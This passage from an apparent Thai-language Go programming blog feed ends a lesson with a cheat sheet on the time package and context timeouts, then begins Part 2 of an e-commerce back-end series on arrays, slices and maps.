&#xE17;&#xE35;&#xE48;&#xE08;&#xE33;&#xE25;&#xE2D;&#xE07;&#xE15;&#xE31;&#xE27;&#xE08;&#xE31;&#xE1A;&#xE40;&#xE27;&#xE25;&#xE32;&#xE17;&#xE33;&#xE2D;&#xE32;&#xE2B;&#xE32;&#xE23;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE07;&#xE48;&#xE32;&#xE22; &#xE42;&#xE14;&#xE22;&#xE21;&#xE35;&#xE23;&#xE32;&#xE22;&#xE25;&#xE30;&#xE40;&#xE2D;&#xE35;&#xE22;&#xE14;&#xE14;&#xE31;&#xE07;&#xE19;&#xE35;&#xE49;</p><p>&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE40;&#xE27;&#xE25;&#xE32;&#xE17;&#xE33;&#xE2D;&#xE32;&#xE2B;&#xE32;&#xE23;&#xE40;&#xE1B;&#xE47;&#xE19; 5 &#xE19;&#xE32;&#xE17;&#xE35; (300 &#xE27;&#xE34;&#xE19;&#xE32;&#xE17;&#xE35;) &#xE42;&#xE14;&#xE22;&#xE43;&#xE0A;&#xE49; context.WithTimeout() &#xE41;&#xE25;&#xE30;&#xE41;&#xE2A;&#xE14;&#xE07;&#xE40;&#xE27;&#xE25;&#xE32;&#xE17;&#xE35;&#xE48;&#xE40;&#xE2B;&#xE25;&#xE37;&#xE2D;&#xE17;&#xE38;&#xE01; &#xE46; 30 &#xE27;&#xE34;&#xE19;&#xE32;&#xE17;&#xE35; &#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE04;&#xE23;&#xE1A; 5 &#xE19;&#xE32;&#xE17;&#xE35;&#xE41;&#xE25;&#xE49;&#xE27; &#xE43;&#xE2B;&#xE49;&#xE41;&#xE2A;&#xE14;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE04;&#xE27;&#xE32;&#xE21; &quot;&#xE2D;&#xE32;&#xE2B;&#xE32;&#xE23;&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE40;&#xE2A;&#xE34;&#xE23;&#xE4C;&#xE1F;!&quot;</p><p>&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;</p><pre><code>&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE08;&#xE31;&#xE1A;&#xE40;&#xE27;&#xE25;&#xE32;&#xE17;&#xE33;&#xE2D;&#xE32;&#xE2B;&#xE32;&#xE23; 5 &#xE19;&#xE32;&#xE17;&#xE35;
&#xE40;&#xE27;&#xE25;&#xE32;&#xE17;&#xE35;&#xE48;&#xE40;&#xE2B;&#xE25;&#xE37;&#xE2D;: 4 &#xE19;&#xE32;&#xE17;&#xE35; 30 &#xE27;&#xE34;&#xE19;&#xE32;&#xE17;&#xE35;
&#xE40;&#xE27;&#xE25;&#xE32;&#xE17;&#xE35;&#xE48;&#xE40;&#xE2B;&#xE25;&#xE37;&#xE2D;: 4 &#xE19;&#xE32;&#xE17;&#xE35;
&#xE40;&#xE27;&#xE25;&#xE32;&#xE17;&#xE35;&#xE48;&#xE40;&#xE2B;&#xE25;&#xE37;&#xE2D;: 3 &#xE19;&#xE32;&#xE17;&#xE35; 30 &#xE27;&#xE34;&#xE19;&#xE32;&#xE17;&#xE35;
&#xE40;&#xE27;&#xE25;&#xE32;&#xE17;&#xE35;&#xE48;&#xE40;&#xE2B;&#xE25;&#xE37;&#xE2D;: 3 &#xE19;&#xE32;&#xE17;&#xE35;
&#xE40;&#xE27;&#xE25;&#xE32;&#xE17;&#xE35;&#xE48;&#xE40;&#xE2B;&#xE25;&#xE37;&#xE2D;: 2 &#xE19;&#xE32;&#xE17;&#xE35; 30 &#xE27;&#xE34;&#xE19;&#xE32;&#xE17;&#xE35;
&#xE40;&#xE27;&#xE25;&#xE32;&#xE17;&#xE35;&#xE48;&#xE40;&#xE2B;&#xE25;&#xE37;&#xE2D;: 2 &#xE19;&#xE32;&#xE17;&#xE35;
&#xE40;&#xE27;&#xE25;&#xE32;&#xE17;&#xE35;&#xE48;&#xE40;&#xE2B;&#xE25;&#xE37;&#xE2D;: 1 &#xE19;&#xE32;&#xE17;&#xE35; 30 &#xE27;&#xE34;&#xE19;&#xE32;&#xE17;&#xE35;
&#xE40;&#xE27;&#xE25;&#xE32;&#xE17;&#xE35;&#xE48;&#xE40;&#xE2B;&#xE25;&#xE37;&#xE2D;: 1 &#xE19;&#xE32;&#xE17;&#xE35;
&#xE40;&#xE27;&#xE25;&#xE32;&#xE17;&#xE35;&#xE48;&#xE40;&#xE2B;&#xE25;&#xE37;&#xE2D;: 30 &#xE27;&#xE34;&#xE19;&#xE32;&#xE17;&#xE35;
&#xE2D;&#xE32;&#xE2B;&#xE32;&#xE23;&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE40;&#xE2A;&#xE34;&#xE23;&#xE4C;&#xE1F;!</code></pre><p><em><em><a href="https://forms.gle/RgUw82gf14grnqsD6?ref=blog.pjjop.org"><em><em><em><em><em><em>Go Quiz </em></em></em></em>1</em></em>3</a><em><em><em><em><em><em> (</em></em></em></em></em></em></em>23<em><em><em><em><em><em><em> &#xE02;&#xE49;&#xE2D;) </em></em></em></em></em></em></em></em>&#xE02;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE2A;&#xE19;&#xE38;&#xE01;&#xE01;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33; Quiz &#xE19;&#xE30;&#xE04;&#xE23;&#xE31;&#xE1A;</p><p><em><em><em><em><em><em><em><em>Q&amp;A?</em></em></em></em></em></em></em></em></p><h3 id="%E0%B8%A3%E0%B8%A7%E0%B8%A1-cheat-sheet-time-package-%E0%B9%81%E0%B8%A5%E0%B8%B0-context"><em><em>&#xE23;&#xE27;&#xE21; Cheat Sheet </em>Time Package &#xE41;&#xE25;&#xE30; Context</em></h3><pre><code>Time Package &#xE41;&#xE25;&#xE30; Context 
------------------------

1. &#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE01;&#xE31;&#xE1A;&#xE40;&#xE27;&#xE25;&#xE32;
	time.Now() // &#xE40;&#xE27;&#xE25;&#xE32;&#xE1B;&#xE31;&#xE08;&#xE08;&#xE38;&#xE1A;&#xE31;&#xE19;&#xE15;&#xE32;&#xE21; Timezone &#xE17;&#xE49;&#xE2D;&#xE07;&#xE16;&#xE34;&#xE48;&#xE19;
	t.UTC() // &#xE41;&#xE1B;&#xE25;&#xE07;&#xE40;&#xE27;&#xE25;&#xE32;&#xE40;&#xE1B;&#xE47;&#xE19; UTC
	time.Parse(time.RFC3339, dateString) // &#xE41;&#xE1B;&#xE25;&#xE07; ISO 8601 String &#xE40;&#xE1B;&#xE47;&#xE19; time
	t.Format(time.RFC3339) // &#xE41;&#xE1B;&#xE25;&#xE07; time &#xE40;&#xE1B;&#xE47;&#xE19; ISO 8601 String
	t.Add(duration) // &#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE23;&#xE30;&#xE22;&#xE30;&#xE40;&#xE27;&#xE25;&#xE32;
	t.AddDate(years, months, days) // &#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE1B;&#xE35; &#xE40;&#xE14;&#xE37;&#xE2D;&#xE19; &#xE27;&#xE31;&#xE19;
	t1.Sub(t2) // &#xE2B;&#xE32;&#xE04;&#xE27;&#xE32;&#xE21;&#xE15;&#xE48;&#xE32;&#xE07;&#xE02;&#xE2D;&#xE07;&#xE40;&#xE27;&#xE25;&#xE32;
	time.Since(startTime) // &#xE2B;&#xE32;&#xE40;&#xE27;&#xE25;&#xE32;&#xE17;&#xE35;&#xE48;&#xE1C;&#xE48;&#xE32;&#xE19;&#xE44;&#xE1B;&#xE08;&#xE32;&#xE01;&#xE08;&#xE38;&#xE14;&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE15;&#xE49;&#xE19;
	time.LoadLocation(&quot;Asia/Bangkok&quot;) // &#xE42;&#xE2B;&#xE25;&#xE14;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; Timezone
	t.In(location) // &#xE41;&#xE1B;&#xE25;&#xE07;&#xE40;&#xE27;&#xE25;&#xE32;&#xE40;&#xE1B;&#xE47;&#xE19; Timezone &#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;

2. &#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; Context
	ctx := context.Background() // &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Context &#xE1E;&#xE37;&#xE49;&#xE19;&#xE10;&#xE32;&#xE19;
	ctx, cancel := context.WithTimeout(parentCtx, timeout) // &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Context &#xE41;&#xE1A;&#xE1A; WithTimeout
	defer cancel() // &#xE43;&#xE0A;&#xE49; defer &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE23;&#xE35;&#xE22;&#xE01; Function &quot;cancel&quot;
	select case // &#xE43;&#xE0A;&#xE49; select case &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE01;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE37;&#xE48;&#xE2D;&#xE2A;&#xE32;&#xE23;&#xE23;&#xE30;&#xE2B;&#xE27;&#xE48;&#xE32;&#xE07; Channel
	
    select {
	case &lt;-ctx.Done():
		return ctx.Err()
	case &lt;-time.After(duration):
		// &#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE2B;&#xE25;&#xE31;&#xE07;&#xE08;&#xE32;&#xE01;&#xE1C;&#xE48;&#xE32;&#xE19;&#xE44;&#xE1B; duration
	default:
		// &#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE15;&#xE48;&#xE2D;
	}

3. &#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;
	- &#xE40;&#xE1B;&#xE23;&#xE35;&#xE22;&#xE1A;&#xE40;&#xE17;&#xE35;&#xE22;&#xE1A;&#xE40;&#xE27;&#xE25;&#xE32;&#xE42;&#xE14;&#xE22;&#xE22;&#xE2D;&#xE21;&#xE43;&#xE2B;&#xE49;&#xE21;&#xE35;&#xE04;&#xE27;&#xE32;&#xE21;&#xE04;&#xE25;&#xE32;&#xE14;&#xE40;&#xE04;&#xE25;&#xE37;&#xE48;&#xE2D;&#xE19;&#xE40;&#xE25;&#xE47;&#xE01;&#xE19;&#xE49;&#xE2D;&#xE22;
	- &#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE17;&#xE31;&#xE49;&#xE07;&#xE01;&#xE23;&#xE13;&#xE35;&#xE17;&#xE35;&#xE48;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE2A;&#xE33;&#xE40;&#xE23;&#xE47;&#xE08;&#xE41;&#xE25;&#xE30;&#xE25;&#xE49;&#xE21;&#xE40;&#xE2B;&#xE25;&#xE27; (Timeout)
	- &#xE43;&#xE0A;&#xE49; Table-Driven Tests &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE2B;&#xE25;&#xE32;&#xE22;&#xE01;&#xE23;&#xE13;&#xE35;

4. Best Practice
	- &#xE43;&#xE0A;&#xE49; UTC &#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE04;&#xE33;&#xE19;&#xE27;&#xE13;&#xE40;&#xE27;&#xE25;&#xE32; &#xE42;&#xE14;&#xE22;&#xE40;&#xE09;&#xE1E;&#xE32;&#xE30;&#xE43;&#xE19;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE17;&#xE35;&#xE48;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE02;&#xE49;&#xE32;&#xE21; Timezone
	- &#xE43;&#xE0A;&#xE49; ISO 8601 Format &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE41;&#xE2A;&#xE14;&#xE07;&#xE1C;&#xE25;&#xE41;&#xE25;&#xE30;&#xE2A;&#xE48;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE1C;&#xE48;&#xE32;&#xE19; API
	- &#xE43;&#xE0A;&#xE49; Context &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE04;&#xE27;&#xE1A;&#xE04;&#xE38;&#xE21;&#xE01;&#xE32;&#xE23;&#xE22;&#xE01;&#xE40;&#xE25;&#xE34;&#xE01;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE43;&#xE19;&#xE1F;&#xE31;&#xE07;&#xE01;&#xE4C;&#xE0A;&#xE31;&#xE19;&#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49;&#xE40;&#xE27;&#xE25;&#xE32;&#xE19;&#xE32;&#xE19;
	- &#xE43;&#xE0A;&#xE49; time.After() &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33; Timeout &#xE43;&#xE19; select statement
	- &#xE2B;&#xE25;&#xE35;&#xE01;&#xE40;&#xE25;&#xE35;&#xE48;&#xE22;&#xE07;&#xE01;&#xE32;&#xE23;&#xE40;&#xE02;&#xE49;&#xE32;&#xE16;&#xE36;&#xE07;&#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE20;&#xE32;&#xE22;&#xE43;&#xE19;&#xE02;&#xE2D;&#xE07; time.Time &#xE42;&#xE14;&#xE22;&#xE15;&#xE23;&#xE07;
	- &#xE43;&#xE0A;&#xE49; Monotonic Clock &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE27;&#xE31;&#xE14;&#xE23;&#xE30;&#xE22;&#xE30;&#xE40;&#xE27;&#xE25;&#xE32;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33; Benchmarking

5. &#xE02;&#xE49;&#xE2D;&#xE04;&#xE27;&#xE23;&#xE23;&#xE30;&#xE27;&#xE31;&#xE07;
	- &#xE23;&#xE30;&#xE27;&#xE31;&#xE07;&#xE1B;&#xE31;&#xE0D;&#xE2B;&#xE32; Daylight Saving Time &#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE01;&#xE31;&#xE1A;&#xE40;&#xE27;&#xE25;&#xE32;&#xE43;&#xE19;&#xE2B;&#xE25;&#xE32;&#xE22; Timezone
	- &#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A; Context &#xE27;&#xE48;&#xE32;&#xE2B;&#xE21;&#xE14;&#xE40;&#xE27;&#xE25;&#xE32;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE16;&#xE39;&#xE01;&#xE22;&#xE01;&#xE40;&#xE25;&#xE34;&#xE01;&#xE01;&#xE48;&#xE2D;&#xE19;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49;&#xE40;&#xE27;&#xE25;&#xE32;&#xE19;&#xE32;&#xE19;
	- &#xE43;&#xE0A;&#xE49; time.Duration &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE23;&#xE30;&#xE22;&#xE30;&#xE40;&#xE27;&#xE25;&#xE32; &#xE41;&#xE17;&#xE19;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; int &#xE2B;&#xE23;&#xE37;&#xE2D; float</code></pre><p>&#xE1E;&#xE1A;&#xE01;&#xE31;&#xE1A; Mastering Golang for E-commerce Back End Development : Part 4 &#xE40;&#xE23;&#xE47;&#xE27; &#xE46; &#xA0;&#xE19;&#xE35;&#xE49;&#xE04;&#xE23;&#xE31;&#xE1A;</p>]]></content:encoded></item><item><title><![CDATA[Mastering Golang for E-commerce Back End Development : Part 2]]></title><description><![CDATA[<figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/07/25083.jpg" class="kg-image" alt loading="lazy" width="1000" height="667" srcset="https://blog.pjjop.org/content/images/size/w600/2024/07/25083.jpg 600w, https://blog.pjjop.org/content/images/2024/07/25083.jpg 1000w" sizes="(min-width: 720px) 720px"></figure><p><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE1A;&#xE17;&#xE04;&#xE27;&#xE32;&#xE21;&#xE42;&#xE14;&#xE22; </em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em>&#xE1C;&#xE28;.<em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE14;&#xE23;.&#xE13;&#xE31;&#xE10;&#xE42;&#xE0A;&#xE15;&#xE34; &#xE1E;&#xE23;&#xE2B;&#xE21;&#xE24;&#xE17;&#xE18;&#xE34;&#xE4C;</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em> &#xE41;&#xE25;&#xE30; <em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE2D;.&#xE14;&#xE23;.</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em>&#xE2A;&#xE31;&#xE08;&#xE08;&#xE32;&#xE20;&#xE23;&#xE13;&#xE4C; &#xE44;&#xE27;&#xE08;&#xE23;&#xE23;&#xE22;</em></em></p>]]></description><link>https://blog.pjjop.org/mastering-golang-for-e-commerce-back-end-development-part-2/</link><guid isPermaLink="false">66a3253b0325e40001ec091b</guid><dc:creator><![CDATA[Nuttachot Promrit]]></dc:creator><pubDate>Wed, 31 Jul 2024 08:24:56 GMT</pubDate><content:encoded><![CDATA[<figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/07/25083.jpg" class="kg-image" alt loading="lazy" width="1000" height="667" srcset="https://blog.pjjop.org/content/images/size/w600/2024/07/25083.jpg 600w, https://blog.pjjop.org/content/images/2024/07/25083.jpg 1000w" sizes="(min-width: 720px) 720px"></figure><p><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE1A;&#xE17;&#xE04;&#xE27;&#xE32;&#xE21;&#xE42;&#xE14;&#xE22; </em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em>&#xE1C;&#xE28;.<em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE14;&#xE23;.&#xE13;&#xE31;&#xE10;&#xE42;&#xE0A;&#xE15;&#xE34; &#xE1E;&#xE23;&#xE2B;&#xE21;&#xE24;&#xE17;&#xE18;&#xE34;&#xE4C;</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em> &#xE41;&#xE25;&#xE30; <em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE2D;.&#xE14;&#xE23;.</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em>&#xE2A;&#xE31;&#xE08;&#xE08;&#xE32;&#xE20;&#xE23;&#xE13;&#xE4C; &#xE44;&#xE27;&#xE08;&#xE23;&#xE23;&#xE22;&#xE32;</em></em><br><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><a href="https://www.cp.su.ac.th/?ref=blog.pjjop.org">&#xE20;&#xE32;&#xE04;&#xE27;&#xE34;&#xE0A;&#xE32;&#xE04;&#xE2D;&#xE21;&#xE1E;&#xE34;&#xE27;&#xE40;&#xE15;&#xE2D;&#xE23;&#xE4C;</a></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em><br><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE04;&#xE13;&#xE30;&#xE27;&#xE34;&#xE17;&#xE22;&#xE32;&#xE28;&#xE32;&#xE2A;&#xE15;&#xE23;&#xE4C;</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em><br><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE21;&#xE2B;&#xE32;&#xE27;&#xE34;&#xE17;&#xE22;&#xE32;&#xE25;&#xE31;&#xE22;&#xE28;&#xE34;&#xE25;&#xE1B;&#xE32;&#xE01;&#xE23;</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></p><!--kg-card-begin: html--><hr>
<div align="center"><a href="https://creativecommons.org/licenses/by-nc-nd/4.0/?ref=blog.pjjop.org">This Article on Mastering Golang for E-commerce Back End Development : Part 2, licensed under CC BY-NC-ND</a>
</div>
<hr><!--kg-card-end: html--><p>&#xE43;&#xE19; Part 2 &#xE19;&#xE35;&#xE49; &#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE01;&#xE49;&#xE32;&#xE27;&#xE44;&#xE1B;&#xE2D;&#xE35;&#xE01;&#xE02;&#xE31;&#xE49;&#xE19;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE40;&#xE23;&#xE35;&#xE22;&#xE19;&#xE23;&#xE39;&#xE49;&#xE40;&#xE04;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE21;&#xE37;&#xE2D;&#xE41;&#xE25;&#xE30;&#xE41;&#xE19;&#xE27;&#xE04;&#xE34;&#xE14;&#xE17;&#xE35;&#xE48;&#xE17;&#xE23;&#xE07;&#xE1E;&#xE25;&#xE31;&#xE07;&#xE02;&#xE2D;&#xE07; Go &#xE0B;&#xE36;&#xE48;&#xE07;&#xE08;&#xE30;&#xE0A;&#xE48;&#xE27;&#xE22;&#xE43;&#xE2B;&#xE49;&#xE04;&#xE38;&#xE13;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Back End &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E;&#xE04;&#xE23;&#xE31;&#xE1A;</p><h2 id="array-slice-%E0%B9%81%E0%B8%A5%E0%B8%B0-map-%E0%B8%81%E0%B8%A5%E0%B9%88%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%81%E0%B9%87%E0%B8%9A%E0%B8%82%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%97%E0%B8%B5%E0%B9%88%E0%B8%A1%E0%B8%B5%E0%B8%8A%E0%B9%88%E0%B8%AD%E0%B8%87%E0%B8%AB%E0%B8%A5%E0%B8%B2%E0%B8%A2%E0%B8%8A%E0%B9%88%E0%B8%AD%E0%B8%87"><strong><strong>Array, Slice &#xE41;&#xE25;&#xE30; Map : &#xE01;&#xE25;&#xE48;&#xE2D;&#xE07;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE02;&#xE2D;&#xE07;&#xE40;&#xE25;&#xE48;&#xE19;&#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE0A;&#xE48;&#xE2D;&#xE07;&#xE2B;&#xE25;&#xE32;&#xE22;&#xE0A;&#xE48;&#xE2D;&#xE07;</strong></strong></h2><p>Array, Slice &#xE41;&#xE25;&#xE30; Map &#xE40;&#xE1B;&#xE47;&#xE19;&#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE1E;&#xE37;&#xE49;&#xE19;&#xE10;&#xE32;&#xE19;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE33;&#xE04;&#xE31;&#xE0D;&#xE43;&#xE19; Go 